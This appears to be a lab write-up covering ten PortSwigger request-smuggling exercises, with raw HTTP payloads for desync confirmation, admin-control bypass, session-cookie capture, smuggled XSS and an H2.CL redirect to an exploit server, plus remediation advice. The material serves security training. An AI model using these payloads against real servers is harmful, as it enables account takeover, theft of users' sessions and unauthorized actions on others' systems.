Web Security•PortSwigger•Expert•18 min read

HTTP Request Smuggling: Complete PortSwigger Web Security Academy Labs (1–10)

In-Depth Architectural Analysis of CL.TE, TE.CL, and HTTP/2 Downgrade Vulnerabilities

HTTP Request SmugglingCL.TE / TE.CLHTTP/2 DowngradeWeb SecurityBurp SuiteAppSec

📖 Introduction

HTTP Request Smuggling is widely recognized as one of the most critical, elusive, and architecturally complex vulnerability classes in modern web security. The issue arises from discrepancies between how front-end reverse proxies / load balancers and back-end origin servers delineate request boundaries across shared TCP connections.

In HTTP/1.1, two standard headers define the boundary and length of an HTTP message body:

  • Content-Length (CL): Explicitly specifies the exact payload size in bytes.
  • Transfer-Encoding: chunked (TE): Specifies that the message body is transferred in self-delimiting chunks, ending with a zero-length chunk (0\r\n\r\n).

When intermediary reverse proxies and back-end origin servers prioritize different headers when both are present, an attacker can craft an ambiguous request. The front-end forwards the payload as a single request, while the back-end interprets it as two separate requests. The unparsed remainder remains in the back-end connection buffer and prepends itself to the next incoming customer request.

In this guide, we break down all 10 PortSwigger Web Security Academy Request Smuggling labs, explaining the mathematics, protocol mechanics, weaponization paths, and remediation strategies.


🧰 Laboratory Toolkit & Setup

Tool Role
Burp Suite Professional Raw HTTP request crafting, Repeater manipulation, and Hex inspector
HTTP Request Smuggler Extension Automated desync testing and differential probing
Raw Sockets / cURL Verification of strict byte streams

[!IMPORTANT] When using Burp Suite Repeater for request smuggling, you must disable the "Update Content-Length" toggle in the Repeater menu. Otherwise, Burp will dynamically recalculate the Content-Length header on every transmission, destroying the deliberate desync payload.


🔬 Core Desynchronization Primitives

┌─────────────────┐                  ┌─────────────────┐
│                 │   Single Request │                 │
│ Front-End Proxy │─────────────────▶│ Back-End Origin │
│ (Reverse Proxy) │                  │ (Application)   │
│                 │  Actual Content: │                 │
│  Prioritizes CL │  2 Requests!     │  Prioritizes TE │
└─────────────────┘                  └─────────────────┘
Type Front-End Priority Back-End Priority Vulnerability Mechanism
CL.TE Content-Length Transfer-Encoding Front-end reads body based on CL; back-end stops reading at the 0 chunk. Remainder is prepended to next request.
TE.CL Transfer-Encoding Content-Length Front-end processes full chunked body; back-end reads only up to CL byte limit. Remainder desynchronizes pipeline.
H2.CL / H2.TE HTTP/2 Framing HTTP/1.1 (CL or TE) Discrepancies introduced during HTTP/2 to HTTP/1.1 front-end protocol downgrade.

🧪 Lab 1: Confirming CL.TE Vulnerability via Differential Responses

Objective: Prove that the front-end prioritizes Content-Length while the back-end prioritizes Transfer-Encoding.

Attack Payload

POST / HTTP/1.1
Host: [lab-id].web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: X

The Mathematics of Bytes (Why 35 vs 39 Matters)

Every line break in raw HTTP/1.1 consists of two hidden bytes: Carriage Return (\r, ASCII 0x0D) and Line Feed (\n, ASCII 0x0A). Calculating the body length:

0\r\n                  -> 3 bytes
\r\n                   -> 2 bytes (End of chunked transfer)
GET /404 HTTP/1.1\r\n  -> 19 bytes
X-Ignore: X            -> 11 bytes (No trailing \r\n)
────────────────────────────────────────
Total                  = 35 bytes

What Happens if You Send Content-Length: 39?

  1. The front-end proxy expects 39 bytes.
  2. It receives only 35 bytes from our socket.
  3. The front-end holds the TCP socket open waiting for the remaining 4 bytes until the connection encounters a Socket Timeout (HTTP 504 / 500). The request is never dispatched to the back-end!
  4. Key Rule: We never deceive the front-end on byte counts. We state the exact size so it transmits the full payload to the back-end.

Execution

Sending this payload twice in rapid succession poisons the back-end queue. The second request prepends GET /404 HTTP/1.1, yielding an immediate 404 Not Found on a standard root request.


🧪 Lab 2: Confirming TE.CL Vulnerability via Differential Responses

Objective: Exploit an infrastructure where the front-end honors Transfer-Encoding and the back-end honors Content-Length.

Attack Payload

POST / HTTP/1.1
Host: [lab-id].web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Execution Flow

  1. Front-End: Evaluates Transfer-Encoding: chunked. Reads chunk 5e (hex 0x5e = 94 decimal bytes), followed by terminal chunk 0. Forwards the complete payload to the back-end.
  2. Back-End: Evaluates Content-Length: 4. Consumes only the first 4 bytes (5e\r\n).
  3. The remaining data (POST /404 HTTP/1.1...) remains queued in the socket buffer.
  4. The subsequent incoming request is mangled by the queued POST /404, returning a 404 Not Found.

🧪 Lab 3: Exploiting CL.TE to Bypass Front-End Security Controls

Objective: Bypass perimeter IP access restrictions to access /admin and delete user carlos.

Vulnerability Analysis

The /admin path is blocked by the front-end reverse proxy when accessed externally. However, the back-end trusts internal routing when Host: localhost is provided. Smuggled requests bypass front-end URL routing filters entirely.

Attack Payload

POST / HTTP/1.1
Host: [lab-id].web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1

Result

The front-end routes the outer POST / request cleanly. The back-end parses the smuggled GET /admin/delete?username=carlos directly on the local socket with Host: localhost, successfully deleting user carlos.


🧪 Lab 4: Exploiting TE.CL to Bypass Front-End Security Controls

Objective: Achieve administrative access bypass using a TE.CL desync primitive.

Attack Payload

POST / HTTP/1.1
Host: [lab-id].web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

87
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Execution Flow

Chunk size 87 (hex 0x87 = 135 bytes) encompasses the smuggled GET /admin/delete request. The front-end forwards the chunked message; the back-end consumes only 4 bytes (87\r\n), releasing the admin deletion command directly against the internal service.


🧪 Lab 5: Exploiting HTTP Request Smuggling to Reveal Front-End Request Rewriting

Objective: Steal an internal tracking header injected by the front-end proxy to spoof identity as an authorized local admin.

Step 1: Discovering Injected Headers

Reverse proxies routinely append headers such as X-Forwarded-For or proprietary routing tokens. By smuggling a request targeting a reflective search parameter with an inflated Content-Length, the back-end appends the next request's headers directly into the query body!

POST / HTTP/2
Host: [lab-id].web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close

search=test

Reflected response output:

<h1>0 search results for 'testPOST / HTTP/1.1
X-JYlfMK-Ip: 198.51.100.24
Host: [lab-id].web-security-academy.net
...

Identified internal header: X-JYlfMK-Ip.

Step 2: Exploitation with Header Spoofing

We forge the internal IP header in our smuggled administrative request:

POST / HTTP/1.1
Host: [lab-id].web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
X-JYlfMK-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

x=1

The back-end validates X-JYlfMK-Ip: 127.0.0.1 and executes the deletion.


🧪 Lab 6: Capturing Other Users' Requests via Request Smuggling

Objective: Hijack sensitive session tokens from unsuspecting site visitors.

Vulnerability Analysis

If an application allows users to submit and store text (e.g., blog comment threads), we can smuggle a request that submits a comment while leaving its Content-Length intentionally oversized. The back-end satisfies the missing bytes by reading the incoming request of the next real visitor — capturing their cookies, session headers, and POST data directly into the public comment feed!

Attack Payload

POST / HTTP/1.1
Host: [lab-id].web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 283

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 960
Cookie: session=[attacker-session]

csrf=[csrf-token]&postId=2&name=VictimCatcher&email=audit@domain.com&website=&comment=Exfiltrated: 

Result

When an active administrator or user accesses the platform, their entire HTTP request is captured as the comment body. Refreshing the article page reveals:

Exfiltrated: GET / HTTP/1.1
Cookie: session=[REDACTED_SESSION_TOKEN]
User-Agent: Mozilla/5.0...

We extract the administrator's session cookie for complete account takeover.


🧪 Lab 7: Exploiting Request Smuggling to Turn Reflected XSS into Stored XSS

Objective: Weaponize a non-interactive reflected XSS vulnerability against subsequent website visitors without user interaction or links.

Vulnerability Analysis

The target application reflects the User-Agent header value unsanitized on /post?postId=5. Normally, reflected XSS in a header cannot be exploited against third parties. Smuggling bypasses this restriction entirely.

Attack Payload

POST / HTTP/1.1
Host: [lab-id].web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 151
Transfer-Encoding: chunked

0

GET /post?postId=5 HTTP/1.1
User-Agent: "><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Result

The next innocent user making a request receives the reflected XSS payload rendered inside their browser context, executing alert(1) automatically without clicking any external link.


🧪 Lab 8: Advanced Cache Poisoning & Request Desynchronization

[!NOTE] Standard lab series variations at this tier explore Response Queue Poisoning or Web Cache Poisoning via Request Smuggling. When responses are cached based on the smuggled host or prefix, every user requesting a static asset (/resources/js/tracking.js) receives the poisoned response from the cache.


🧪 Lab 9: Exploiting H2.CL Request Smuggling

Objective: Leverage HTTP/2 protocol downgrade to trigger client-side script execution via an external exploit server.

Vulnerability Analysis

When front-end load balancers accept modern HTTP/2 traffic but downgrade connections to HTTP/1.1 when communicating with back-end servers, ambiguities arise. In HTTP/2, request length is governed by binary frames. If an explicit Content-Length: 0 header is passed alongside a frame containing body data, the front-end ignores the header, but the back-end honors Content-Length: 0 upon downgrade.

Attack Payload (HTTP/2)

POST / HTTP/2
Host: [lab-id].web-security-academy.net
Content-Length: 0

GET /resources HTTP/1.1
Host: [exploit-id].exploit-server.net
Content-Length: 5

x=1

On our exploit server, /resources is configured to deliver our payload:

alert(document.cookie);

Result

The downgraded connection causes the subsequent user's request for internal resources to redirect to our exploit server, executing cookie exfiltration scripts in their browser.


🧪 Lab 10: Response Queue Poisoning via Request Smuggling

Objective: Completely desynchronize the back-end response queue to intercept foreign responses containing sensitive data.

Attack Payload

POST / HTTP/1.1
Host: [lab-id].web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 800
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Host: [lab-id].web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 800

search=test

Result

By sending a complete standalone smuggled request down a shared keep-alive connection, the back-end processes two requests for every one request processed by the front-end. The back-end response pipeline falls out of sync: User A receives User B's response, exposing private profile details, admin panels, and authentication tokens across clients.


🛡️ Robust Remediation & Architectural Defenses

Mitigating HTTP Request Smuggling requires strict protocol conformity across the entire infrastructure tier:

  1. Deploy End-to-End HTTP/2:
    • Eliminate front-end protocol downgrading. Enforce native HTTP/2 (or HTTP/3) between reverse proxies and back-end origin servers.
  2. Strict Disambiguation & Rejection:
    • Configure front-end proxies to immediately reject (HTTP 400 Bad Request) any incoming request containing both Content-Length and Transfer-Encoding headers.
  3. Header Normalization:
    • Strip obfuscated or malformed headers (Transfer-Encoding : chunked, Transfer_Encoding, etc.) before forwarding.
  4. Disable TCP Connection Reuse:
    • While introducing slight latency overhead, configuring back-end proxies to establish distinct TCP connections for incoming client requests eliminates HTTP request pipelining desynchronization entirely.
  5. Modern WAF Signatures:
    • Implement Web Application Firewall inspection for chunked payloads, unexpected body terminations, and out-of-order protocol tokens.

📊 Summary of Labs & Techniques

Lab Primitive Technique Impact
1 CL.TE Differential Response Desync Confirmation
2 TE.CL Differential Response Desync Confirmation
3 CL.TE Host Header Rewrite Front-End Admin Filter Bypass
4 TE.CL Host Header Rewrite Front-End Admin Filter Bypass
5 CL.TE / H2 Parameter Reflection Exfiltration of Internal Headers (X-*-IP)
6 CL.TE Oversized Content-Length Cleartext Session Hijacking via Comments
7 CL.TE User-Agent Reflection Zero-Click Reflected XSS Escalation
8 Desync Cache Poisoning Widespread Static Asset Compromise
9 H2.CL Protocol Downgrade Exploit Server Redirection & Script Execution
10 CL.TE Queue Desynchronization Cross-Client Response Interception

🏁 Conclusion

HTTP Request Smuggling represents the pinnacle of protocol-level exploitation. As web architectures grow increasingly distributed with layered caching tiers, load balancers, and CDNs, understanding the low-level parsing mechanics of HTTP/1.1 and HTTP/2 is paramount for both security researchers and DevOps engineers.